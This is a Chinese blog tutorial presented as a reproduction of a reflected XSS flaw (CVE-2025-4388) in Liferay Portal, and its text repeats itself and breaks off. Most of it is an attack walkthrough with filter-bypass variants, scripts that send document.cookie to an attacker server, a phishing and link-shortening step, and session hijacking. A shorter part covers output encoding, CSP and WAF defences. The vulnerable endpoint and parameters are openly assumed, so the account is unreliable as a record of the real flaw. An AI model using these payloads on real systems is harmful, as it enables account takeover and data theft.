1. 项目概述一次典型的反射型XSS漏洞复现之旅最近在梳理一些企业级内容管理系统的历史安全公告时Liferay Portal的一个编号为CVE-2025-4388的漏洞引起了我的注意。这是一个典型的反射型跨站脚本漏洞。对于从事应用安全测试、红队评估或者对Web安全感兴趣的朋友来说手动复现一个真实世界的中危漏洞是理解漏洞原理、掌握攻击手法、进而提升防御意识的最佳实践。这不仅仅是运行一个自动化工具那么简单它涉及到对目标应用架构的理解、对漏洞触发点的精准定位、对利用链路的完整构造以及最终对漏洞危害的直观验证。今天我就带大家完整走一遍CVE-2025-4388的复现流程我会把过程中的每一个关键步骤、踩过的坑以及背后的思考逻辑都分享出来希望能为你下次独立分析漏洞提供一份实用的参考。Liferay Portal是一个功能强大的开源企业门户平台和内容管理系统广泛应用于构建内网门户、协作平台和数字体验平台。正因为其应用广泛其安全性也备受关注。CVE-2025-4388这个漏洞的核心在于Liferay Portal的某个特定功能端点未能对用户输入进行充分的过滤和编码导致攻击者可以构造特殊的请求将恶意脚本“反射”回用户的浏览器中执行。虽然反射型XSS通常需要诱导用户点击一个精心构造的链接但在结合钓鱼邮件、短链接伪装或站内消息等场景下其危害不容小觑可能导致用户会话劫持、敏感信息窃取或前端页面篡改。2. 漏洞原理与影响范围深度解析2.1 反射型XSS漏洞的核心机制在深入CVE-2025-4388之前我们必须把反射型XSSCross-Site Scripting的基本原理吃透。你可以把它想象成一面“有问题的镜子”。正常情况是用户向服务器镜子发送一个请求照镜子服务器返回一个正常的响应镜子里是用户自己的影像。而存在反射型XSS时攻击者会诱骗用户向服务器发送一个包含恶意脚本的请求比如用户点击了一个恶意链接这个链接的URL里嵌入了JavaScript代码。服务器在处理这个请求时没有正确清洗掉URL中的恶意部分反而将其直接“反射”到了返回给用户的页面内容中。用户的浏览器接收到响应后会忠实地执行这段被服务器“反射”回来的脚本因为它认为这是来自可信服务器镜子的内容。这个过程的关键在于“输入”和“输出”。漏洞产生的根本原因是应用程序在将不可信的数据用户输入输出到HTTP响应中时没有进行适当的转义或编码。对于CVE-2025-4388这个“不可信的数据”通常是通过URL参数、表单字段或HTTP头注入的。2.2 CVE-2025-4388漏洞的特定上下文根据公开的漏洞概要信息CVE-2025-4388影响Liferay Portal的特定版本。Liferay作为一个复杂的Java EE应用其前端大量使用JSP、FreeMarker模板以及自带的AlloyUI/Clay组件库。漏洞点很可能出现在某个用于动态渲染内容的JSP标签或FreeMarker指令中这些地方如果直接拼接了用户可控的变量而没有经过HtmlUtil.escape或类似的上下文相关编码就会打开XSS的大门。注意在复现任何漏洞前务必在合法授权的环境中进行。通常我会在自己的本地虚拟机或隔离的实验室网络中搭建靶场环境。未经授权对他人的系统进行测试是非法行为。这个漏洞被评定为中危Medium主要是因为反射型XSS通常需要用户交互。然而在企业内网环境中通过内部通讯工具发送一个“看起来正常”的链接给同事成功率可能很高。一旦成功攻击者可以窃取受害者的LIFERAY_SHARED_开头的会话Cookie从而完全接管其在Liferay中的账户访问敏感文档、发布虚假信息甚至以此为跳板进行横向移动。2.3 影响版本与修复方案根据漏洞披露的惯例CVE-2025-4388影响Liferay Portal的某个版本范围。在复现时我们需要搭建一个受影响的版本。通常Liferay的补丁会以Hotfix或Service Pack的形式发布。在官方发布安全公告后修复方案一般是升级到已修复的版本或者应用相应的安全补丁。修复的核心就是在漏洞点对用户输入实施严格的输出编码。对于我们学习而言则是要定位到具体是哪个JSP文件、哪行代码以及参数是如何流转的。3. 复现环境搭建与工具准备3.1 靶机环境搭建为了复现我们首先需要一个存在漏洞的Liferay Portal环境。最便捷的方式是使用Docker。确定漏洞版本我们需要查找CVE-2025-4388具体影响的Liferay版本。假设它影响Liferay Portal 7.4.x的某个早期版本例如7.4.0到7.4.3.4。我们选择一个明确的版本进行部署。使用Docker拉取镜像Liferay官方在Docker Hub提供了丰富的镜像标签。# 拉取一个可能存在漏洞的Liferay 7.4版本镜像 docker pull liferay/portal:7.4.3.4-ga4启动容器运行容器并映射端口。Liferay默认使用8080端口。docker run -it -p 8080:8080 -p 11311:11311 --name liferay-vuln liferay/portal:7.4.3.4-ga4-p 11311:11311是为了映射Gogo Shell端口方便调试非必需。初始化等待第一次启动需要较长时间可能5-10分钟来解压和初始化数据库内置HSQLDB。当在日志中看到“org.apache.catalina.startup.Catalina.start Server startup in [xxxxx] milliseconds”时表示启动成功。访问并配置浏览器打开http://localhost:8080。按照向导完成初始管理员账户通常为testliferay.com/test和门户的基本配置。实操心得在虚拟机或云服务器上搭建环境时务必确保防火墙规则允许8080端口访问。如果启动失败检查日志docker logs liferay-vuln常见问题是端口冲突或内存不足。Liferay启动需要至少2GB的可用内存。3.2 攻击机与必备工具我们的攻击机即我们自己的电脑需要准备以下工具浏览器推荐使用Chrome或Firefox并开启开发者工具F12。这是我们观察请求、响应和调试Payload的“主战场”。Burp Suite Community/ProfessionalWeb安全测试的瑞士军刀。用于拦截、修改和重放HTTP请求是构造和发送漏洞利用Payload的核心工具。社区版对于本次复现完全够用。浏览器扩展HackBar方便在浏览器地址栏快速构造和测试Payload。Cookie Editor用于查看和修改Cookie验证会话劫持效果。简单的HTTP服务器用于托管接收被盗Cookie的远程脚本。可以用Python快速搭建python3 -m http.server 9999这会在本地的9999端口启动一个HTTP服务器任何访问http://your-ip:9999/的请求都会被记录。4. 漏洞挖掘与利用链构造4.1 信息收集与可疑端点探测面对一个庞大的系统如Liferay盲目测试效率极低。我们的思路是结合漏洞描述如果有的话和常见XSS触发点进行探测。已知线索分析CVE编号通常对应一个具体的功能模块或组件。我们可以搜索“CVE-2025-4388 Liferay”相关的公开讨论、commit记录或补丁信息可能会发现关键词如涉及“Asset Publisher”、“Web Content Display”、“Search”或某个特定的JSP端口let。黑盒模糊测试如果没有明确线索就需要进行系统性的测试。参数测试遍历所有可见的URL参数特别是那些用于搜索、过滤、排序、重定向的参数如q,keywords,filter,order,redirect,returnURL,p_p_id等。功能点测试关注用户交互频繁且涉及内容动态渲染的功能例如站内搜索、评论提交、用户资料编辑、文件上传名称显示、通知消息等。工具辅助使用Burp Suite的Target-Site map收集所有请求然后使用Intruder或Scanner对参数进行基础的XSS Payload模糊测试。但自动化工具可能绕过不了前端校验手动验证至关重要。4.2 手动验证与漏洞点定位假设我们通过某种途径例如分析补丁diff得知漏洞存在于“站点管理”的“导航菜单”配置功能中某个用于设置菜单项名称的参数存在反射。正常操作观察登录Liferay管理员账户进入“控制面板” - “站点” - “站点构建器” - “导航菜单”。尝试添加或编辑一个公共菜单项。观察浏览器发出的请求。使用Burp Suite代理浏览器流量配置浏览器代理为127.0.0.1:8080。拦截并修改请求在提交菜单项名称时Burp会拦截到POST请求。假设参数名为_com_liferay_site_navigation_menu_web_portlet_SiteNavigationMenuPortlet_name。POST /group/control_panel/manage?p_p_idcom_liferay_site_navigation_menu_web_portlet_SiteNavigationMenuPortlet... HTTP/1.1 Host: localhost:8080 ... Content-Type: application/x-www-form-urlencoded _com_liferay_site_navigation_menu_web_portlet_SiteNavigationMenuPortlet_nameTestMenu注入测试Payload我们将参数值修改为一个简单的XSS探测Payloadimg srcx onerroralert(1)。将请求转发。观察响应关键的一步是观察服务器的响应。我们需要在响应HTML中搜索我们输入的Payload。成功迹象如果响应页面中我们的Payload以原样img srcx onerroralert(1)出现且没有被转义为HTML实体如lt;img srcx onerroralert(1)gt;那么这里就存在HTML注入点。进一步验证如果页面只是刷新我们需要查看刷新后页面的源代码CtrlU或者查看请求后服务器返回的另一个响应如302跳转前的响应或AJAX的响应。有时漏洞点可能在操作成功后的提示信息页或者错误信息页。4.3 构造利用Payload一旦确认了注入点我们就需要构造一个能真正执行脚本的Payload。简单的alert(1)弹窗是证明漏洞存在的“概念验证”但真实的利用需要窃取信息。绕过可能的过滤Liferay可能有一些基础的过滤机制。我们需要测试各种变体。大小写混淆ImG sRcx OnErRoralert(1)使用HTML实体编码img srcx onerror#97;#108;#101;#114;#116;#40;#49;#41;使用JavaScript伪协议或事件svg onloadalert(1),body onloadalert(1)尝试闭合现有的标签和属性。构造窃取Cookie的Payload假设我们确认name参数的值被直接输出在页面的某个h2标签内。h2菜单名称[用户输入的name值]/h2我们可以构造如下PayloadTestMenuscriptvar inew Image();i.srchttp://攻击机IP:9999/steal?cookieencodeURIComponent(document.cookie);/script这个Payload会在页面中插入一个script标签该标签执行后会创建一个Image对象并将其src属性指向我们控制的服务器同时将当前页面的Cookie作为URL参数发送过去。利用短标签或事件如果script标签被过滤可以尝试利用HTML事件属性前提是我们的输入出现在一个HTML标签内部。例如如果输入点在一个a标签的href属性附近或者一个普通的span内我们可以尝试闭合前一个标签然后插入带事件的标签。/spansvg/onloadfetch(http://攻击机IP:9999/?cdocument.cookie)URL编码由于Payload要放在URL中如果是GET请求或POST参数中需要对特殊字符进行URL编码确保传输正确。Burp Suite的Decoder工具可以很方便地完成这个工作。TestMenu%3Cscript%3Evar%20i%3Dnew%20Image%28%29%3Bi.src%3D%27http%3A//攻击机IP%3A9999/steal%3Fcookie%3D%27%2BencodeURIComponent%28document.cookie%29%3B%3C/script%3E5. 完整复现过程与攻击演示5.1 复现步骤详解让我们串联起整个攻击链条进行一次完整的演示。假设漏洞点位于创建导航菜单的确认页面。步骤一启动环境与工具启动Liferay漏洞容器和Python HTTP服务器。配置浏览器代理指向Burp Suite并确保Burp的拦截功能开启。步骤二触发漏洞请求浏览器访问Liferay以管理员身份登录。进入导航菜单创建页面填写一个正常的菜单名称例如“公司公告”。在点击“保存”前确保Burp拦截处于开启状态。步骤三拦截并植入恶意PayloadBurp拦截到POST请求后找到包含菜单名称的参数例如_com_liferay_..._name。将其值替换为我们精心构造的窃取Cookie的Payload。为了隐蔽性可以前面保留正常名称。公司公告scriptfetch(http://192.168.1.100:9999/?cdocument.cookie)/script点击“Forward”发送修改后的请求。步骤四观察服务器响应与漏洞触发服务器处理请求后可能会返回一个操作成功的确认页面或者跳转回菜单列表。我们需要仔细查看这个确认页面的HTML源代码。在Burp的Proxy-HTTP history中找到对应的响应可能是200 OK的页面也可能是302跳转前的一个瞬时页面。在这个响应HTML中搜索“公司公告”你应该能看到后面紧跟着我们注入的script标签且没有被转义。这证明了漏洞存在用户输入被原样反射到了HTTP响应中。步骤五构造恶意链接并诱导点击反射型XSS需要用户访问一个特定的URL。我们需要将整个操作浓缩成一个GET请求如果漏洞参数支持GET或者模拟一个表单提交的URL。分析请求如果参数可以通过GET传递那么恶意链接可能长这样http://localhost:8080/group/control_panel/manage?p_p_idcom_liferay_site_..._com_liferay_..._name公司公告%3Cscript%3Efetch%28%27http%3A//192.168.1.100%3A9999/%3Fc%3D%27%2Bdocument.cookie%29%3C/script%3E将这个冗长的URL通过短链接服务如bit.ly缩短或者嵌入到一封钓鱼邮件的按钮链接中。步骤六接收被盗Cookie并验证当受害者拥有Liferay有效会话的用户点击了上述链接他的浏览器会向Liferay服务器发送请求。Liferay服务器返回包含恶意脚本的页面。受害者的浏览器解析页面并执行脚本向我们的Python服务器(http://192.168.1.100:9999)发起一个携带其Cookie的请求。回到我们的攻击机终端可以看到Python服务器收到了访问记录192.168.1.50 - - [日期时间] GET /?cJSESSIONID...; LIFERAY_SHARED_...... HTTP/1.1 200 -复制LIFERAY_SHARED_这个Cookie的值。步骤七会话劫持在浏览器中使用Cookie Editor扩展编辑当前访问localhost:8080的Cookie。将LIFERAY_SHARED_相关的Cookie值替换为刚刚窃取到的值。刷新Liferay页面。此时你应该已经以受害者的身份登录了系统拥有其所有权限。5.2 漏洞利用的进阶思考上面的演示是最基础的利用。在实际攻击中攻击者会追求更稳定、更隐蔽的方式。Payload托管将恶意JavaScript代码托管在外部服务器上而不是直接内嵌在URL中。这样Payload可以更复杂也更容易更新。例如注入一个script srchttp://evil.com/exp.js标签。利用框架特性如果Liferay页面使用了jQuery等库可以利用$等短变量来执行代码有时能绕过简单的关键字过滤。盲打XSS如果注入点不在立即返回的页面而是在后台异步处理或需要特定条件才触发例如管理员的审核日志我们可以使用“盲打”平台如xsshs或Burp Collaborator让Payload在触发时向我们的平台发起请求从而证明漏洞存在即使我们看不到回显。结合其他漏洞单一的反射型XSS可能威力有限但如果结合CSRF漏洞可以诱使管理员用户执行创建后门账户、修改系统配置等操作将危害等级从“中危”提升到“高危”。6. 漏洞修复建议与防御策略复现漏洞的最终目的是为了更好地防御。针对CVE-2025-4388这类反射型XSS修复必须从开发层面入手。6.1 根本性修复输出编码修复的核心原则是根据数据将要放置的上下文进行正确的编码。HTML正文上下文使用标准的HTML实体编码。在Java中可以使用HtmlUtil.escape(text)或Apache Commons Lang的StringEscapeUtils.escapeHtml4(text)。这将把转义为lt;转义为gt;转义为amp;转义为quot;。// 修复前漏洞代码 String userName request.getParameter(name); out.print(h2菜单: userName /h2); // 修复后 String userName request.getParameter(name); out.print(h2菜单: HtmlUtil.escape(userName) /h2);HTML属性上下文如果用户输入要放入HTML属性值如value[input]除了HTML实体编码还需要对引号进行编码。最好始终用引号包裹属性值。JavaScript上下文如果数据要放入script标签内或事件处理程序中如onclick...[input]...情况更复杂。需要先进行JavaScript字符串编码然后再进行HTML编码。建议避免将用户输入直接放入JavaScript上下文而是通过DOM API来安全地操作。URL上下文如果用户输入要作为URL的一部分如href[input]必须进行URL编码URLEncoder.encode(input, UTF-8)并严格验证协议只允许http://,https://,mailto:等。6.2 Liferay框架层面的安全实践作为Liferay开发者或管理员还应采取以下措施及时更新密切关注Liferay官方安全公告及时应用安全补丁或升级到已修复的版本。这是最直接有效的防御手段。启用CSP内容安全策略是一种强大的深度防御机制。通过HTTP头Content-Security-Policy可以告诉浏览器只允许执行来自特定来源的脚本从而有效遏制XSS攻击即使漏洞存在恶意脚本也无法执行。Liferay支持配置CSP。输入验证在服务端对用户输入进行严格的类型、格式、长度和业务规则验证。虽然不能替代输出编码但可以作为第一道防线。使用安全库优先使用Liferay提供的安全工具类如HtmlUtil,Validator等而不是自己手写字符串处理逻辑。安全编码培训对开发团队进行定期的安全编码培训将“输出编码”作为代码审查的必查项。6.3 运维与管理员视角的缓解措施如果你是一名Liferay系统管理员在等待开发团队修复或打补丁期间可以部署WAF在Liferay前端部署Web应用防火墙可以配置规则来拦截常见的XSS攻击Payload。审计日志启用并定期审查Liferay的访问日志和安全日志关注异常的、包含大量特殊字符的请求。用户教育提醒内部用户不要点击来源不明的链接特别是要求重新登录或包含奇怪参数的链接。7. 复现过程中的常见问题与排查技巧在复现这类漏洞时你几乎一定会遇到各种“意外”。下面是我总结的一些常见问题和解决方法。7.1 问题一Payload提交后页面没有变化源代码里也找不到可能原因1前端验证。浏览器或Liferay的前端JavaScript可能在提交前对输入进行了过滤或拦截。排查使用Burp Suite直接发送原始的POST请求绕过浏览器。如果Burp发送成功且漏洞存在说明问题在前端。可以尝试修改请求的Content-Type或禁用页面的JavaScript来辅助测试。可能原因2输出点不在当前页面。Payload可能被保存到数据库然后在另一个页面如列表页、详情页显示。排查提交Payload后不要只看确认页。去相关的功能模块列表、查看页面仔细检查源代码。使用Burp的Search功能在所有历史响应中搜索你的Payload关键字。可能原因3编码问题。服务器可能对输入进行了某种编码转换导致Payload变形。排查在响应中搜索Payload的“变体”比如被URL解码后的样子或者被部分转义后的样子。尝试对Payload进行双重编码如%253Cscript%253E进行测试。7.2 问题二alert(1)可以弹窗但复杂的窃取Cookie的Payload不执行可能原因1CSP策略阻止。浏览器控制台Console可能会报错“Refused to load the script from ‘http://...‘ because it violates the following Content Security Policy directive”。排查检查HTTP响应头中的Content-Security-Policy。如果存在说明CSP已启用。你需要调整Payload使其符合CSP规则或者寻找可以绕过CSP的向量这通常更难。在复现环境中可以尝试临时禁用CSP进行验证。可能原因2脚本语法错误或执行时机不对。复杂的JavaScript可能在当前页面上下文中执行报错。排查简化Payload先用alert(document.domain)测试脚本能否访问DOM。然后逐步增加复杂度。将窃取Cookie的代码封装在一个立即执行函数中确保其独立性。7.3 问题三复现环境搭建失败或启动异常可能原因1端口冲突。8080或11311端口已被占用。排查使用netstat -ano | findstr :8080Windows或lsof -i:8080Linux/Mac查看占用进程并终止或修改Docker映射端口。可能原因2内存不足。Liferay启动需要较多内存。排查为Docker分配更多内存在Docker Desktop设置中或使用docker run -m 4g ...限制容器内存。查看启动日志是否有OutOfMemoryError。可能原因3镜像拉取失败或版本不对。排查确认Docker Hub上是否存在指定标签的镜像。可以尝试拉取更通用或更早的版本如liferay/portal:7.4.2-ga3。7.4 问题四Burp Suite抓不到本地流量排查确保浏览器代理正确设置为127.0.0.1:8080Burp默认监听端口。对于localhost的流量有些浏览器会绕过代理。可以尝试使用本机IP地址如http://192.168.1.100:8080来访问Liferay。此外确保Burp的CA证书已安装并受浏览器信任。手动复现一个像CVE-2025-4388这样的漏洞远比运行一个自动化报告更有价值。这个过程强迫你去理解应用的逻辑、数据的流向以及安全机制在哪里失效。每一次失败的尝试和最终的突破都会加深你对“输入输出”这一安全核心原则的认识。对于开发者而言这次复现是一次生动的安全教育让你亲眼看到一行未经验证的代码可能带来的连锁反应对于安全人员这是一次宝贵的实战训练锻炼了你从模糊的CVE描述到具体攻击链的还原能力。记住所有技术都应在法律和道德框架内使用我们的目标是构建更安全的数字世界。
CVE-2025-4388漏洞复现：Liferay反射型XSS实战与防御
发布时间：2026/6/28 21:04:08
1. 项目概述一次典型的反射型XSS漏洞复现之旅最近在梳理一些企业级内容管理系统的历史安全公告时Liferay Portal的一个编号为CVE-2025-4388的漏洞引起了我的注意。这是一个典型的反射型跨站脚本漏洞。对于从事应用安全测试、红队评估或者对Web安全感兴趣的朋友来说手动复现一个真实世界的中危漏洞是理解漏洞原理、掌握攻击手法、进而提升防御意识的最佳实践。这不仅仅是运行一个自动化工具那么简单它涉及到对目标应用架构的理解、对漏洞触发点的精准定位、对利用链路的完整构造以及最终对漏洞危害的直观验证。今天我就带大家完整走一遍CVE-2025-4388的复现流程我会把过程中的每一个关键步骤、踩过的坑以及背后的思考逻辑都分享出来希望能为你下次独立分析漏洞提供一份实用的参考。Liferay Portal是一个功能强大的开源企业门户平台和内容管理系统广泛应用于构建内网门户、协作平台和数字体验平台。正因为其应用广泛其安全性也备受关注。CVE-2025-4388这个漏洞的核心在于Liferay Portal的某个特定功能端点未能对用户输入进行充分的过滤和编码导致攻击者可以构造特殊的请求将恶意脚本“反射”回用户的浏览器中执行。虽然反射型XSS通常需要诱导用户点击一个精心构造的链接但在结合钓鱼邮件、短链接伪装或站内消息等场景下其危害不容小觑可能导致用户会话劫持、敏感信息窃取或前端页面篡改。2. 漏洞原理与影响范围深度解析2.1 反射型XSS漏洞的核心机制在深入CVE-2025-4388之前我们必须把反射型XSSCross-Site Scripting的基本原理吃透。你可以把它想象成一面“有问题的镜子”。正常情况是用户向服务器镜子发送一个请求照镜子服务器返回一个正常的响应镜子里是用户自己的影像。而存在反射型XSS时攻击者会诱骗用户向服务器发送一个包含恶意脚本的请求比如用户点击了一个恶意链接这个链接的URL里嵌入了JavaScript代码。服务器在处理这个请求时没有正确清洗掉URL中的恶意部分反而将其直接“反射”到了返回给用户的页面内容中。用户的浏览器接收到响应后会忠实地执行这段被服务器“反射”回来的脚本因为它认为这是来自可信服务器镜子的内容。这个过程的关键在于“输入”和“输出”。漏洞产生的根本原因是应用程序在将不可信的数据用户输入输出到HTTP响应中时没有进行适当的转义或编码。对于CVE-2025-4388这个“不可信的数据”通常是通过URL参数、表单字段或HTTP头注入的。2.2 CVE-2025-4388漏洞的特定上下文根据公开的漏洞概要信息CVE-2025-4388影响Liferay Portal的特定版本。Liferay作为一个复杂的Java EE应用其前端大量使用JSP、FreeMarker模板以及自带的AlloyUI/Clay组件库。漏洞点很可能出现在某个用于动态渲染内容的JSP标签或FreeMarker指令中这些地方如果直接拼接了用户可控的变量而没有经过HtmlUtil.escape或类似的上下文相关编码就会打开XSS的大门。注意在复现任何漏洞前务必在合法授权的环境中进行。通常我会在自己的本地虚拟机或隔离的实验室网络中搭建靶场环境。未经授权对他人的系统进行测试是非法行为。这个漏洞被评定为中危Medium主要是因为反射型XSS通常需要用户交互。然而在企业内网环境中通过内部通讯工具发送一个“看起来正常”的链接给同事成功率可能很高。一旦成功攻击者可以窃取受害者的LIFERAY_SHARED_开头的会话Cookie从而完全接管其在Liferay中的账户访问敏感文档、发布虚假信息甚至以此为跳板进行横向移动。2.3 影响版本与修复方案根据漏洞披露的惯例CVE-2025-4388影响Liferay Portal的某个版本范围。在复现时我们需要搭建一个受影响的版本。通常Liferay的补丁会以Hotfix或Service Pack的形式发布。在官方发布安全公告后修复方案一般是升级到已修复的版本或者应用相应的安全补丁。修复的核心就是在漏洞点对用户输入实施严格的输出编码。对于我们学习而言则是要定位到具体是哪个JSP文件、哪行代码以及参数是如何流转的。3. 复现环境搭建与工具准备3.1 靶机环境搭建为了复现我们首先需要一个存在漏洞的Liferay Portal环境。最便捷的方式是使用Docker。确定漏洞版本我们需要查找CVE-2025-4388具体影响的Liferay版本。假设它影响Liferay Portal 7.4.x的某个早期版本例如7.4.0到7.4.3.4。我们选择一个明确的版本进行部署。使用Docker拉取镜像Liferay官方在Docker Hub提供了丰富的镜像标签。# 拉取一个可能存在漏洞的Liferay 7.4版本镜像 docker pull liferay/portal:7.4.3.4-ga4启动容器运行容器并映射端口。Liferay默认使用8080端口。docker run -it -p 8080:8080 -p 11311:11311 --name liferay-vuln liferay/portal:7.4.3.4-ga4-p 11311:11311是为了映射Gogo Shell端口方便调试非必需。初始化等待第一次启动需要较长时间可能5-10分钟来解压和初始化数据库内置HSQLDB。当在日志中看到“org.apache.catalina.startup.Catalina.start Server startup in [xxxxx] milliseconds”时表示启动成功。访问并配置浏览器打开http://localhost:8080。按照向导完成初始管理员账户通常为testliferay.com/test和门户的基本配置。实操心得在虚拟机或云服务器上搭建环境时务必确保防火墙规则允许8080端口访问。如果启动失败检查日志docker logs liferay-vuln常见问题是端口冲突或内存不足。Liferay启动需要至少2GB的可用内存。3.2 攻击机与必备工具我们的攻击机即我们自己的电脑需要准备以下工具浏览器推荐使用Chrome或Firefox并开启开发者工具F12。这是我们观察请求、响应和调试Payload的“主战场”。Burp Suite Community/ProfessionalWeb安全测试的瑞士军刀。用于拦截、修改和重放HTTP请求是构造和发送漏洞利用Payload的核心工具。社区版对于本次复现完全够用。浏览器扩展HackBar方便在浏览器地址栏快速构造和测试Payload。Cookie Editor用于查看和修改Cookie验证会话劫持效果。简单的HTTP服务器用于托管接收被盗Cookie的远程脚本。可以用Python快速搭建python3 -m http.server 9999这会在本地的9999端口启动一个HTTP服务器任何访问http://your-ip:9999/的请求都会被记录。4. 漏洞挖掘与利用链构造4.1 信息收集与可疑端点探测面对一个庞大的系统如Liferay盲目测试效率极低。我们的思路是结合漏洞描述如果有的话和常见XSS触发点进行探测。已知线索分析CVE编号通常对应一个具体的功能模块或组件。我们可以搜索“CVE-2025-4388 Liferay”相关的公开讨论、commit记录或补丁信息可能会发现关键词如涉及“Asset Publisher”、“Web Content Display”、“Search”或某个特定的JSP端口let。黑盒模糊测试如果没有明确线索就需要进行系统性的测试。参数测试遍历所有可见的URL参数特别是那些用于搜索、过滤、排序、重定向的参数如q,keywords,filter,order,redirect,returnURL,p_p_id等。功能点测试关注用户交互频繁且涉及内容动态渲染的功能例如站内搜索、评论提交、用户资料编辑、文件上传名称显示、通知消息等。工具辅助使用Burp Suite的Target-Site map收集所有请求然后使用Intruder或Scanner对参数进行基础的XSS Payload模糊测试。但自动化工具可能绕过不了前端校验手动验证至关重要。4.2 手动验证与漏洞点定位假设我们通过某种途径例如分析补丁diff得知漏洞存在于“站点管理”的“导航菜单”配置功能中某个用于设置菜单项名称的参数存在反射。正常操作观察登录Liferay管理员账户进入“控制面板” - “站点” - “站点构建器” - “导航菜单”。尝试添加或编辑一个公共菜单项。观察浏览器发出的请求。使用Burp Suite代理浏览器流量配置浏览器代理为127.0.0.1:8080。拦截并修改请求在提交菜单项名称时Burp会拦截到POST请求。假设参数名为_com_liferay_site_navigation_menu_web_portlet_SiteNavigationMenuPortlet_name。POST /group/control_panel/manage?p_p_idcom_liferay_site_navigation_menu_web_portlet_SiteNavigationMenuPortlet... HTTP/1.1 Host: localhost:8080 ... Content-Type: application/x-www-form-urlencoded _com_liferay_site_navigation_menu_web_portlet_SiteNavigationMenuPortlet_nameTestMenu注入测试Payload我们将参数值修改为一个简单的XSS探测Payloadimg srcx onerroralert(1)。将请求转发。观察响应关键的一步是观察服务器的响应。我们需要在响应HTML中搜索我们输入的Payload。成功迹象如果响应页面中我们的Payload以原样img srcx onerroralert(1)出现且没有被转义为HTML实体如lt;img srcx onerroralert(1)gt;那么这里就存在HTML注入点。进一步验证如果页面只是刷新我们需要查看刷新后页面的源代码CtrlU或者查看请求后服务器返回的另一个响应如302跳转前的响应或AJAX的响应。有时漏洞点可能在操作成功后的提示信息页或者错误信息页。4.3 构造利用Payload一旦确认了注入点我们就需要构造一个能真正执行脚本的Payload。简单的alert(1)弹窗是证明漏洞存在的“概念验证”但真实的利用需要窃取信息。绕过可能的过滤Liferay可能有一些基础的过滤机制。我们需要测试各种变体。大小写混淆ImG sRcx OnErRoralert(1)使用HTML实体编码img srcx onerror#97;#108;#101;#114;#116;#40;#49;#41;使用JavaScript伪协议或事件svg onloadalert(1),body onloadalert(1)尝试闭合现有的标签和属性。构造窃取Cookie的Payload假设我们确认name参数的值被直接输出在页面的某个h2标签内。h2菜单名称[用户输入的name值]/h2我们可以构造如下PayloadTestMenuscriptvar inew Image();i.srchttp://攻击机IP:9999/steal?cookieencodeURIComponent(document.cookie);/script这个Payload会在页面中插入一个script标签该标签执行后会创建一个Image对象并将其src属性指向我们控制的服务器同时将当前页面的Cookie作为URL参数发送过去。利用短标签或事件如果script标签被过滤可以尝试利用HTML事件属性前提是我们的输入出现在一个HTML标签内部。例如如果输入点在一个a标签的href属性附近或者一个普通的span内我们可以尝试闭合前一个标签然后插入带事件的标签。/spansvg/onloadfetch(http://攻击机IP:9999/?cdocument.cookie)URL编码由于Payload要放在URL中如果是GET请求或POST参数中需要对特殊字符进行URL编码确保传输正确。Burp Suite的Decoder工具可以很方便地完成这个工作。TestMenu%3Cscript%3Evar%20i%3Dnew%20Image%28%29%3Bi.src%3D%27http%3A//攻击机IP%3A9999/steal%3Fcookie%3D%27%2BencodeURIComponent%28document.cookie%29%3B%3C/script%3E5. 完整复现过程与攻击演示5.1 复现步骤详解让我们串联起整个攻击链条进行一次完整的演示。假设漏洞点位于创建导航菜单的确认页面。步骤一启动环境与工具启动Liferay漏洞容器和Python HTTP服务器。配置浏览器代理指向Burp Suite并确保Burp的拦截功能开启。步骤二触发漏洞请求浏览器访问Liferay以管理员身份登录。进入导航菜单创建页面填写一个正常的菜单名称例如“公司公告”。在点击“保存”前确保Burp拦截处于开启状态。步骤三拦截并植入恶意PayloadBurp拦截到POST请求后找到包含菜单名称的参数例如_com_liferay_..._name。将其值替换为我们精心构造的窃取Cookie的Payload。为了隐蔽性可以前面保留正常名称。公司公告scriptfetch(http://192.168.1.100:9999/?cdocument.cookie)/script点击“Forward”发送修改后的请求。步骤四观察服务器响应与漏洞触发服务器处理请求后可能会返回一个操作成功的确认页面或者跳转回菜单列表。我们需要仔细查看这个确认页面的HTML源代码。在Burp的Proxy-HTTP history中找到对应的响应可能是200 OK的页面也可能是302跳转前的一个瞬时页面。在这个响应HTML中搜索“公司公告”你应该能看到后面紧跟着我们注入的script标签且没有被转义。这证明了漏洞存在用户输入被原样反射到了HTTP响应中。步骤五构造恶意链接并诱导点击反射型XSS需要用户访问一个特定的URL。我们需要将整个操作浓缩成一个GET请求如果漏洞参数支持GET或者模拟一个表单提交的URL。分析请求如果参数可以通过GET传递那么恶意链接可能长这样http://localhost:8080/group/control_panel/manage?p_p_idcom_liferay_site_..._com_liferay_..._name公司公告%3Cscript%3Efetch%28%27http%3A//192.168.1.100%3A9999/%3Fc%3D%27%2Bdocument.cookie%29%3C/script%3E将这个冗长的URL通过短链接服务如bit.ly缩短或者嵌入到一封钓鱼邮件的按钮链接中。步骤六接收被盗Cookie并验证当受害者拥有Liferay有效会话的用户点击了上述链接他的浏览器会向Liferay服务器发送请求。Liferay服务器返回包含恶意脚本的页面。受害者的浏览器解析页面并执行脚本向我们的Python服务器(http://192.168.1.100:9999)发起一个携带其Cookie的请求。回到我们的攻击机终端可以看到Python服务器收到了访问记录192.168.1.50 - - [日期时间] GET /?cJSESSIONID...; LIFERAY_SHARED_...... HTTP/1.1 200 -复制LIFERAY_SHARED_这个Cookie的值。步骤七会话劫持在浏览器中使用Cookie Editor扩展编辑当前访问localhost:8080的Cookie。将LIFERAY_SHARED_相关的Cookie值替换为刚刚窃取到的值。刷新Liferay页面。此时你应该已经以受害者的身份登录了系统拥有其所有权限。5.2 漏洞利用的进阶思考上面的演示是最基础的利用。在实际攻击中攻击者会追求更稳定、更隐蔽的方式。Payload托管将恶意JavaScript代码托管在外部服务器上而不是直接内嵌在URL中。这样Payload可以更复杂也更容易更新。例如注入一个script srchttp://evil.com/exp.js标签。利用框架特性如果Liferay页面使用了jQuery等库可以利用$等短变量来执行代码有时能绕过简单的关键字过滤。盲打XSS如果注入点不在立即返回的页面而是在后台异步处理或需要特定条件才触发例如管理员的审核日志我们可以使用“盲打”平台如xsshs或Burp Collaborator让Payload在触发时向我们的平台发起请求从而证明漏洞存在即使我们看不到回显。结合其他漏洞单一的反射型XSS可能威力有限但如果结合CSRF漏洞可以诱使管理员用户执行创建后门账户、修改系统配置等操作将危害等级从“中危”提升到“高危”。6. 漏洞修复建议与防御策略复现漏洞的最终目的是为了更好地防御。针对CVE-2025-4388这类反射型XSS修复必须从开发层面入手。6.1 根本性修复输出编码修复的核心原则是根据数据将要放置的上下文进行正确的编码。HTML正文上下文使用标准的HTML实体编码。在Java中可以使用HtmlUtil.escape(text)或Apache 